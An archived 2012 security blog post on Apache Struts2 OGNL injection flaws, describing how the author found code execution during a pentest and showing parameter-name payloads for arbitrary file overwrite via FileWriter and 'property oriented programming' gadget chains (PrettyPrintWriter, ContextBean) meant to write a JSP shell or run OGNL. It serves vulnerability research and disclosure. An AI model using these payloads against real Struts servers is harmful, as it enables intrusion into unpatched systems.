Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java - Author not stated, Reiners' Weblog.

- Published: 2012-01-04
- Original: <https://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/>
- Preserved from: https://websec.wordpress.com/2012/01/04/multiple-vulnerabilities-in-apache-struts2-and-property-oriented-programming-with-java/ (live) on 2026-08-09
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java | Reiners' Weblog

Multiple vulnerabilities in Apache Struts2 and property oriented programming with Java

This post was voted as 2nd best in the Top 10 Web Hacking Techniques of 2011 poll.

Introduction

Last month I found a weird behaviour in a Java application during a blackbox pentest. The value of a parameter **id** was reflected to the HTTP response and I was testing for a potential SQLi vulnerability with the following requests (urldecoded) and responses:

| request | response | | | *?id=abc* | abc | | | *?id=abc'* | | | | *?id=abc'||'def* | | | | *?id=abc'+'def* | **abcdef** | |

Ok that looked promising. SQLi here we go:

| request | response | | | *?id=abc'+/*/'*def* | | | | *?id=abc'+(select 1)+'def* | | | | *?id=abc'+(select 1 from dual)+'def* | | |

Hmm, comments and subselect does not work? Maybe table name missing in MS Access? Defaults did not work. What comment types are available?

| request | response | | | *?id=abc'%00* | | | | *?id=abc';%00* | | | | *?id=abc'– –* | | |

No luck, so I started from the beginning:

| request | response | | | *?id=abc'+'def* | abcdef | | | *?id=abc'+1+'def* | abc**1**def | | | *?id=abc'+(1)+'def* | abc**1**def | | | *?id=abc'+a+'def* | abc**null**def | |

Wooty? That was really interesting. No DBMS would return **null** for an unknown column. Obviously a uninitialized variable was parsed here. I even could access another given parameter:

| request | response | | | *?id=abc'+name+'def&name=foo* | abc**foo**def | |

This was a Java app so I tried some more stuff and this one worked to my suprise:

| request | response | | | *?id=abc'+(new java.lang.String("foo"))+'def* | abc**foo**def | |

Remote Java code execution? This is not even possible without really dirty tricks (compilation on the fly) I thought. A few hours later I was investigating the Java source code and saw that the application was using Apache Struts 2.2.2.1.

Apache Struts2, XWork and OGNL

Apache Struts2 is a web framework for creating Java web applications. It is using the OpenSymphony XWork and OGNL libraries. By default, XWork's ParametersInterceptor treats parameter names provided to actions as OGNL expressions. In example the **parametername** within the request to *HelloWorld.action?**parametername**=1* is evaluated as OGNL expression. A OGNL (Object Graph Navigation Language) expression is a limited language similar to Java that is tokenized and parsed by the OGNL parser which invokes appropiate Java methods. This allows e.g. convenient access to properties that have a getter/setter method implemented. By providing a parameter like **product.id=1** the OGNL parser will call the appropiate setter **getProduct().setId(1)** in the current action context. OGNL is also able to call abritrary methods, constructors and access context variables.

Apache Struts2 vulnerabilities in the past

To prevent attackers calling arbitrary Java methods within parameters the flag **xwork.MethodAccessor.denyMethodExecution** is set to **true** and the **SecurityMemberAccess** field **allowStaticMethodAccess** is set to **false** by default. Before Struts 2.2.2.1 it was possible to bypass these security flags and execute arbitrary commands within the parameter name. You can find all the details for the Pwnie award winning vulnerability here. Summarized, it was possible to access and change the security flags leaving the attacker with all the power that OGNL comes with. The fix in Struts 2.2.2.1 was to apply a tightened character whitelist to XWork's ParametersInterceptor, that prevents injecting the hashtag # and the backslash \ (for encoding the hashtag) and therefore prevents the access to the security flags.

```
acceptedParamNames = "[a-zA-Z0-9\\.\\]\\[\\(\\)_'\\s]+";
```

The introduced remote code execution worked because it occured during an exception that is triggered when Struts tries to set a property of type *Integer* or *Long* with a value of type *String*. Then the **value** was evaluated as OGNL expression again – maybe to force an attempt to retrieve a correct data type after evaluation. Since only the parameter names are limited by a character whitelist, arbitrary OGNL and thus arbitrary Java code could be executed. Unfortunetly for me, the bug had been already reported two month earlier and was fixed (almost silently) in Struts 2.2.3.1. You can find a list of all security bulletings for Struts here. Reason enough to have another look.

New Apache Struts2 vulnerabilities

The first obvious step was to look for code where OGNL expressions supplied by the user are evaluated without the character whitelist applied. This happens in the CookieInterceptor (in all versions below 2.3.1.1) leading to **remote code execution** when Struts is configured to handle cookies.

The next step was to look if the character whitelist applied to the parameter names is strong enough and what can be done with the available characters. Within parameters everything is handled as getter and setter. However there are two ways to inject own OGNL expressions. The first is to use dynamic function names that are evaluated before execution like in **('ognl')(x)=1** or you can use list indexes that are evaluated before used as in **x[ognl]=1**. However you can not call arbitrary methods like **x[@java.lang.System@exec('calc')]=1** because the security flag for *allowStaticMethodAccess* is disabled and the character @ (symbolizing static method access in OGNL) is not whitelisted. You can only access setters with only one parameter (the comma , is also not whitelisted) by providing **name=foo** or **x[name('foo')]=1** that will both call the setter **setName('foo')**.

Then we found out you can also call constructors with one parameter with **x[new java.lang.String('foo')]=1**. This leads to a **arbitrary file overwrite** vulnerability when calling the FileWriter constructor **x[new java.io.FileWriter('test.txt')]=1**. To inject the forbidden slash */* character into the filename one can use a existent property of type String, in example **x[new java.io.FileWriter(message)]=1&message=C:/test.txt**. *FileWriter* will automatically create an empty file or overwrite an existing one.

A detailed description of all vulnerabilities with example code and PoC can be found in our advisory.

Property oriented programming with Java

Sorry for the buzzword But maybe you can already imagine what the idea is. We can call arbitrary constructors and we can call setters. The next step is to look for classes that have malicious constructors (with only one parameter) or malicious setters (with only one parameter) or maybe even both. We can create arbitrary files by calling new **java.io.FileWriter('test.txt')** but we cannot call **java.io.FileWriter('test.txt').write('data')** because *denyMethodExecution* is enabled and OGNL would try to call the setter **setWrite('data')** on the FileWriter object. However if we find a class that opens a file within its constructor and writes data within a setter we could turn the **arbitrary file overwrite** vulnerability into a **file upload** vulnerability.

So I downloaded lots of Apache Commons libraries and wrote some regexes to find interesting *gadgets*. Useful gadgets would be classes with public constructors having only one parameter:

```
"/public\s*[A-Za-z]*\s*$classname\s*\(([A-Za-z0-9_]+\s+[^,\s]+|\s*)\)\s*{[^}]*}/"
```

and having at least one setter with only one parameter:

```
"/public.*set[A-Za-z0-9_]+\s*\((String|long|int|\s*)\s*[^,]*\)\s*{/"
```

In Struts, XWork, OGNL and 9 additional Apache Commons libraries 239 classes with a public constructor and a total of 669 setters could be found.

Example 1

To my suprise I found exactly what I was looking for in the class PrettyPrintWriter shipped with Struts itself:

```
package org.apache.struts2.interceptor.debugging;

public class PrettyPrintWriter {
 [...]
   // constructors with 3, 2 and 1 parameter
   public PrettyPrintWriter(Writer writer, char[] lineIndenter, String newLine) {
      this.writer = new PrintWriter(writer);
      this.lineIndenter = lineIndenter;
      this.newLine = newLine;
   }

   public PrettyPrintWriter(Writer writer, char[] lineIndenter) {
      this(writer, lineIndenter, "\n");
   }

   public PrettyPrintWriter(Writer writer, String lineIndenter, String newLine) {
      this(writer, lineIndenter.toCharArray(), newLine);
   }

   public PrettyPrintWriter(Writer writer, String lineIndenter) {
      this(writer, lineIndenter.toCharArray());
   }

   // constructor with only one parameter that accepts our FileWriter
   public PrettyPrintWriter(Writer writer) {
      this(writer, new char[]{' ', ' '});
   }

   // setter that will call write() on our FileWriter()
   public void setValue(String text) {
      readyForNewLine = false;
      tagIsEmpty = false;
      finishTag();

      writeText(writer, text);
   }

  protected void writeText(PrintWriter writer, String text) {
      writeText(text);
   }

   // write text to writer object
   private void writeText(String text) {
```

```
      int length = text.length();
      for (int i = 0; i < length; i++) {
        char c = text.charAt(i);
        switch (c) {
          case '\0':
            this.writer.write(NULL);
            break;
          [...]
          default:
            this.writer.write(c);
        }
      }
    }
  [...]
}
```

Perfect. We can create a new *PrettyPrintWriter* with the public constructor:

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter()]

We use the constructor in line 25 that accepts only one parameter (remember that the comma is not whitelisted) of type Writer (FileWriter is a subclass of Writer):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt'))]=1

This will save our *FileWriter* object to *this.writer* (line 7). Now we call the method *value* on our *PrettyPrintWriter* object and OGNL will try to call the setter *setValue* which indeed exists (line 30):

x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.FileWriter('test.txt')).value('data')]=1

The call of *setValue* will in the end call *writeText* that will call a *write* (line 53) with our data to our *FileWriter* object. Then we could write arbitrary data to arbitrary files, in example uploading a JSP shell.

However that did not work. I thought the problem was that the file was never flushed or closed so I added another trick:

foobar=AAAAAAAA...&x[new org.apache.struts2.interceptor.debugging.PrettyPrintWriter(new java.io.BufferedWriter(new java.io.FileWriter('test026.txt'))).value(foobar)]=1

The FileWriter is now wrapped in a BufferedWriter (a direct subclass of Writer). The documentation says that the buffer will be flushed automatically after 8.192 characters. So I tried sending 9.000 characters via HTTP POST to automatically flush the buffer but in the end it still did not work. Later I found out that OGNL did not accept *setValue* as a valid setter because the property *value* does not exist in *PrettyPrintWriter*.

Example 2

There is tons of abusable code within OGNL to execute arbitrary code, you just have to find the right set of public constructors and setters. In example Struts class *ContextBean*:

```
package org.apache.struts2.components;

public abstract class ContextBean extends Component {
   protected String var;

   public ContextBean(ValueStack stack) {
      super(stack);
   }

   public void setVar(String var) {
      if (var != null) {
         this.var = findString(var);
      }
   }
}
```

If you can create your own *ValueStack* object (required in the constructor in line 6 and for OGNL evaluation) you can call the setter *setVar* (line 10) which is a real setter because the property *var* exists (line 4). The setter *setVar* will then call *findString* (line 12) that in the end will execute a OGNL expression, which can be provided by another parameter value (which is not filtered):

x[new org.apache.struts2.components.ContextBean(new com.opensymphony.xwork2.util.ValueStack()).var(foobar)]=1 &foobar=OGNL expression

The problem in this example is to create a *ValueStack* with a constructor that has only one parameter to avoid the filtered comma. The class *com.opensymphony.xwork2.util.ValueStack* itself does not provide such a constructor, however their might be other classes with reduced constructors like in the first example.

You get the idea of “property oriented programming” If you find anything cool please let me know. However note that all new vulnerabilities and the presented techniques are prevented in the new Struts 2.3.1.1 because whitespaces are not whitelisted anymore and you cannot access constructors anymore.

All Struts users should update to Struts 2.3.1.1.

This entry was posted on Wednesday, January 4th, 2012 at 4:55 pm and is filed under Java, Vulns, Web Security. You can follow any responses to this entry through the RSS 2.0 feed. You can skip to the end and leave a response. Pinging is currently not allowed.